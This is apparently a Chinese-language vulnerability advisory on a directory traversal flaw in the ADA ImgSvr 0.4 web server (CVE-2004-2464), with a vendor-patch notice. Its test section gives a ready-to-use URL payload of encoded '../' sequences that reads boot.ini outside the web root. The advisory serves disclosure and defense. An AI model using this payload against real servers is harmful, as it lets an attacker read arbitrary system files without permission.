发布日期：2004-04-05
更新日期：2004-04-12

受影响系统：

ADA ImgSvr 0.4

描述：

---

BUGTRAQ  ID: 10048
CVE(CAN) ID: CVE-2004-2464

ADA Image是一个嵌入式WEB服务器主要对图片发布进行优化处理。

ADA Image没有充分过滤用户提供的URI数据，远程攻击者可以利用这个漏洞以WEB进程权限查看系统文件。

提交类似"%2f%2e%2e%2f"的数据，可绕过WEB ROOT限制，以WEB进程权限查看系统任意文件。

<*来源：dr_insane （dr_insane@pathfinder.gr）
  
  链接：http://members.lycos.co.uk/r34ct/main/ADA%20Image%20Server%20(ImgSvr)%200.4.txt
        http://secunia.com/advisories/28234/
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

dr_insane （dr_insane@pathfinder.gr）提供了如下测试方法：

http://[host]:1234/%2f%2e%2e%2f%2f%2e%2e%2f%2f%2e%2e%2f%2f%2e%2e%2f%2f%2e%2e%2fboot.ini

建议：

---

厂商补丁：

ADA
---
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://adaimgsvr.sourceforge.net/

浏览次数：2933
严重程度：0（网友投票）